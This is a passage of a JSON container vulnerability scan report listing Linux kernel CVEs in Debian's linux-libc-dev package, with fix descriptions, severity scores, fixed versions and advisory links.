"https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53091" ], "PublishedDate": "2026-06-24T17:17:23.283Z", "LastModifiedDate": "2026-10-21T13:19:09.8Z" }, { "VulnerabilityID": "CVE-2026-53109", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53109", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bb97690bdbab0701bc309aa39d5466ec44552137c6539445f88592d9cd331734", "Title": "kernel: powerpc/pgtable-frag: Fix bad page state in pte_frag_destroy", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/pgtable-frag: Fix bad page state in pte_frag_destroy\n\npowerpc uses pt_frag_refcount as a reference counter for tracking it's\npte and pmd page table fragments. For PTE table, in case of Hash with\n64K pagesize, we have 16 fragments of 4K size in one 64K page.\n\nPatch series [1] \"mm: free retracted page table by RCU\"\nadded pte_free_defer() to defer the freeing of PTE tables when\nretract_page_tables() is called for madvise MADV_COLLAPSE on shmem\nrange.\n[1]: https://lore.kernel.org/all/7cd843a9-aa80-14f-5eb2-33427363c20@google.com/\n\npte_free_defer() sets the active flag on the corresponding fragment's\nfolio \u0026 calls pte_fragment_free(), which reduces the pt_frag_refcount.\nWhen pt_frag_refcount reaches 0 (no active fragment using the folio), it\nchecks if the folio active flag is set, if set, it calls call_rcu to\nfree the folio, it the active flag is unset then it calls pte_free_now().\n\nNow, this can lead to following problem in a corner case...\n\n[ 265.351553][ T183] BUG: Bad page state in process a.out pfn:20d62\n[ 265.353555][ T183] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x20d62\n[ 265.355457][ T183] flags: 0x3ffff800000100(active|node=0|zone=0|lastcpupid=0x7ffff)\n[ 265.358719][ T183] raw: 003ffff800000100 0000000000000000 5deadbeef0000122 0000000000000000\n[ 265.360177][ T183] raw: 0000000000000000 c0000000119caf58 00000000ffffffff 0000000000000000\n[ 265.361438][ T183] page dumped because: PAGE_FLAGS_CHECK_AT_FREE flag(s) set\n[ 265.362572][ T183] Modules linked in:\n[ 265.364622][ T183] CPU: 0 UID: 0 PID: 183 Comm: a.out Not tainted 6.18.0-rc3-00141-g1ddeaaace7ff-dirty #53 VOLUNTARY\n[ 265.364785][ T183] Hardware name: IBM pSeries (emulated by qemu) POWER10 (architected) 0x801200 0xf000006 of:SLOF,git-ee03ae pSeries\n[ 265.364908][ T183] Call Trace:\n[ 265.364955][ T183] [c000000011e6f7c0] [c000000001cfaa18] dump_stack_lvl+0x130/0x148 (unreliable)\n[ 265.365202][ T183] [c000000011e6f7f0] [c000000000794758] bad_page+0xb4/0x1c8\n[ 265.365384][ T183] [c000000011e6f890] [c00000000079c020] __free_frozen_pages+0x838/0xd08\n[ 265.365554][ T183] [c000000011e6f980] [c0000000000a70ac] pte_frag_destroy+0x298/0x310\n[ 265.365729][ T183] [c000000011e6fa30] [c0000000000aa764] arch_exit_mmap+0x34/0x218\n[ 265.365912][ T183] [c000000011e6fa80] [c000000000751698] exit_mmap+0xb8/0x820\n[ 265.366080][ T183] [c000000011e6fc30] [c0000000001b1258] __mmput+0x98/0x300\n[ 265.366244][ T183] [c000000011e6fc80] [c0000000001c81f8] do_exit+0x470/0x1508\n[ 265.366421][ T183] [c000000011e6fd70] [c0000000001c95e4] do_group_exit+0x88/0x148\n[ 265.366602][ T183] [c000000011e6fdc0] [c0000000001c96ec] pid_child_should_wake+0x0/0x178\n[ 265.366780][ T183] [c000000011e6fdf0] [c00000000003a270] system_call_exception+0x1b0/0x4e0\n[ 265.366958][ T183] [c000000011e6fe50] [c00000000000d05c] system_call_vectored_common+0x15c/0x2ec\n\nThe bad page state error occurs when such a folio gets freed (with\nactive flag set), from do_exit() path in parallel.\n\n... this can happen when the pte fragment was allocated from this folio,\nbut when all the fragments get freed, the pte_frag_refcount still had some\nunused fragments. Now, if this process exits, with such folio as it's cached\npte_frag in mm-\u003econtext, then during pte_frag_destroy(), we simply call\npagetable_dtor() and pagetable_free(), meaning it doesn't clear the\nactive flag. This, can lead to the above bug. Since we are anyway in\ndo_exit() path, then if the refcount is 0, then I guess it should be\nok to simply clear the folio active flag before calling pagetable_dtor()\n\u0026 pagetable_free().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53109", "https://git.kernel.org/linus/fda4d71651f71c44b35829d13f3c8bf920032f77%20%287.1-rc1%29", "https://git.kernel.org/stable/c/a32db6fca3c74b4eb8bae5470f0680deb4cbac6f", "https://git.kernel.org/stable/c/c8b710655012a2993a9567873fb71a8a51f8459c", "https://git.kernel.org/stable/c/e9d197c248e70278645f206defa87f085826c4c1", "https://git.kernel.org/stable/c/f4bc93135bfe39e7052d31e4c71f5f838e0bf516", "https://git.kernel.org/stable/c/fda4d71651f71c44b35829d13f3c8bf920032f77", "https://kernelcve.org/list/?q=CVE-2026-53109", "https://lore.kernel.org/linux-cve-announce/2026062413-CVE-2026-53109-3860@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53109", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53109" ], "PublishedDate": "2026-06-24T17:17:25.23Z", "LastModifiedDate": "2026-11-06T17:18:07.143Z" }, { "VulnerabilityID": "CVE-2026-53118", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53118", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4a6b5f42d5c82101f4a15420f595e28a8fe405a4686d15381e2f2c0f56b271b7", "Title": "kernel: vdpa: use generic driver_override infrastructure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvdpa: use generic driver_override infrastructure\n\nWhen a driver is probed through __driver_attach(), the bus' match()\ncallback is called without the device lock held, thus accessing the\ndriver_override field without a lock, which can cause a UAF.\n\nFix this by using the driver-core driver_override infrastructure taking\ncare of proper locking internally.\n\nNote that calling match() from __driver_attach() without the device lock\nheld is intentional. [1]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53118", "https://git.kernel.org/linus/85bb534ff12aab6916058897b39c748940a7a4c6%20%287.1-rc1%29", "https://git.kernel.org/stable/c/4005cb89139f7c9af85046b241dcf3fa2e1b3559", "https://git.kernel.org/stable/c/4eab1a74a498f0bf19f102f9362e9deef9307aea", "https://git.kernel.org/stable/c/654ef9c33e138ede6734ac286282df9faf83cd11", "https://git.kernel.org/stable/c/85bb534ff12aab6916058897b39c748940a7a4c6", "https://git.kernel.org/stable/c/fb5cb4913ce333cc4647722e8c2b8378e12f2464", "https://kernelcve.org/list/?q=CVE-2026-53118", "https://lore.kernel.org/linux-cve-announce/2026062415-CVE-2026-53118-a02a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53118", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53118" ], "PublishedDate": "2026-06-24T17:17:26.19Z", "LastModifiedDate": "2026-11-06T17:18:08.123Z" }, { "VulnerabilityID": "CVE-2026-53277", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53277", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4dcf630577b044dc8edf039c23563f8594ee85e02da46f949233793f52928bc0", "Title": "kernel: KVM: arm64: Take the SRCU lock for page table walks in fault injection and AT emulation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: Take the SRCU lock for page table walks in fault injection and AT emulation\n\nwalk_s1() and kvm_walk_nested_s2() expect to be called while holding\nkvm-\u003esrcu to guard against memslot changes. While this is generally\nthe case, __kvm_at_s12() and __kvm_find_s1_desc_level() call into the\nrespective walkers without taking kvm-\u003esrcu.\n\nFix by acquiring kvm-\u003esrcu prior to the table walk in both instances.", "Severity": "HIGH", "CweIDs": [ "CWE-662", "CWE-820" ], "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64775", "https://access.redhat.com/security/cve/CVE-2026-53277", "https://bugzilla.redhat.com/show_bug.cgi?id=2370992", "https://bugzilla.redhat.com/show_bug.cgi?id=2454807", "https://bugzilla.redhat.com/show_bug.cgi?id=2460736", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2492097", "https://bugzilla.redhat.com/show_bug.cgi?id=2492295", "https://bugzilla.redhat.com/show_bug.cgi?id=2492725", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492745", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2492850", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502369", "https://bugzilla.redhat.com/show_bug.cgi?id=2507041", "https://bugzilla.redhat.com/show_bug.cgi?id=2507096", "https://bugzilla.redhat.com/show_bug.cgi?id=2507129", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23442", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31503", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53235", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64265", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://errata.rockylinux.org/RLSA-2026:64775", "https://git.kernel.org/linus/f2ca45b50d4216c9cc7ffabf50d9ad1932209251%20%287.1-rc7%29", "https://git.kernel.org/stable/c/0648b375aa951cc15d9e90f9ac4de71e0b51fa45", "https://git.kernel.org/stable/c/97706097f9b851cfe55c3b00b083dfc2bcf542bc", "https://git.kernel.org/stable/c/ec42b4ed1b072ea2d03f086061aa67bad6d8de39", "https://git.kernel.org/stable/c/f2ca45b50d4216c9cc7ffabf50d9ad1932209251", "https://linux.oracle.com/cve/CVE-2026-53277.html", "https://linux.oracle.com/errata/ELSA-2026-64775-0.html", "https://lore.kernel.org/linux-cve-announce/2026062520-CVE-2026-53277-4338@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53277", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53277.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8570-1", "https://ubuntu.com/security/notices/USN-8570-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8594-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53277" ], "PublishedDate": "2026-06-25T09:16:45.897Z", "LastModifiedDate": "2026-10-21T13:19:13.393Z" }, { "VulnerabilityID": "CVE-2026-53330", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53330", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:37411611ba5b99be3ac3000cc6ade4f76644ed4bc84523eb456b733fa9100c24", "Title": "kernel: drm/amd/display: Fix out-of-bounds read in dp_get_eq_aux_rd_interval()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix out-of-bounds read in dp_get_eq_aux_rd_interval()\n\n[Why \u0026 How]\nThe aux_rd_interval array in struct dc_lttpr_caps is declared with\nMAX_REPEATER_CNT - 1 (7) elements, indexed 0..6. However, the offset\nparameter passed to dp_get_eq_aux_rd_interval() can be as large as\nMAX_REPEATER_CNT (8) when a sink reports 8 LTTPR repeaters via DPCD.\nThis leads to an out-of-bounds read of aux_rd_interval[7] when offset\nis 8.\n\nFix this by growing aux_rd_interval to MAX_REPEATER_CNT elements to\naccommodate the full range of valid repeater counts defined by the DP\nspec.\n\n(cherry picked from commit a55a458a8df37a65ffda5cf721d554a8f74f6b04)", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53330", "https://git.kernel.org/linus/e8b4d37eba05141ee01794fc6b7f2da808cee83b%20%287.1-rc7%29", "https://git.kernel.org/stable/c/454d3b3d499c18373f8960d31aea48338a3ca9e0", "https://git.kernel.org/stable/c/7b310c6d82d782282085c9728dfe69e07d185b6c", "https://git.kernel.org/stable/c/7c5f2d16a8f4464bf2a719ceb2316b8a6b87a3c0", "https://git.kernel.org/stable/c/a632474c793b7f2a9bbd3d8e3d0dd7d256989300", "https://git.kernel.org/stable/c/dc1490927d79fe9621e29f4a4f5d7b5ccb6aea3e", "https://git.kernel.org/stable/c/e8b4d37eba05141ee01794fc6b7f2da808cee83b", "https://lore.kernel.org/linux-cve-announce/2026070142-CVE-2026-53330-0e20@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53330", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-53330" ], "PublishedDate": "2026-07-01T14:16:40.893Z", "LastModifiedDate": "2026-10-30T13:19:16.39Z" }, { "VulnerabilityID": "CVE-2026-63879", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63879", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:653055a7371dc557371c11183ec38406bb6977f9299d5821353d45bbd5e91cea", "Title": "kernel: drm/amdgpu: fix amdgpu_hmm_range_get_pages", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: fix amdgpu_hmm_range_get_pages\n\nThe notifier sequence must only be read once or otherwise we could work\nwith invalid pages.\n\nWhile at it also fix the coding style, e.g. drop the pre-initialized\nreturn value and use the common define for 2G range.\n\n(cherry picked from commit c08972f555945cda57b0adb72272a37910153390)", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-63879", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/962d684b5dc0741dcd93485d41b450de402d5592%20%287.1-rc6%29", "https://git.kernel.org/stable/c/2fd24407457a6b181ba827705678da70e528dcd0", "https://git.kernel.org/stable/c/93a9f121de6383f20290840d025ee28fda5f53b5", "https://git.kernel.org/stable/c/962d684b5dc0741dcd93485d41b450de402d5592", "https://git.kernel.org/stable/c/e35cf322897dd4921248d11311a89c865b534c14", "https://git.kernel.org/stable/c/fa34d3e14cb763b50702e8a0f7d4cfd877a73ab9", "https://linux.oracle.com/cve/CVE-2026-63879.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026071938-CVE-2026-63879-3372@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63879", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-63879" ], "PublishedDate": "2026-07-19T16:17:04.903Z", "LastModifiedDate": "2026-10-26T20:12:03.977Z" }, { "VulnerabilityID": "CVE-2026-64017", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64017", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6f8095861192308a865ccf9f07c6ee5931a0ac521f8b0b0e8150be53c8528c49", "Title": "kernel: blk-mq: pop cached request if it is usable", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-mq: pop cached request if it is usable\n\nWhen submitting a bio to blk-mq, if the task should sleep after peeking\na cached request, but before it pops it, the plug flushes and calls\nblk_mq_free_plug_rqs, freeing the cached_rqs. This creates a\nuse-after-free bug. Fix this by popping the cached request before any\npossible blocking calls if it is suitable for use.\n\nPopping this request first holds a queue reference, so avoid any\nserialization races with queue freezes and can safely proceed with\ndispatching 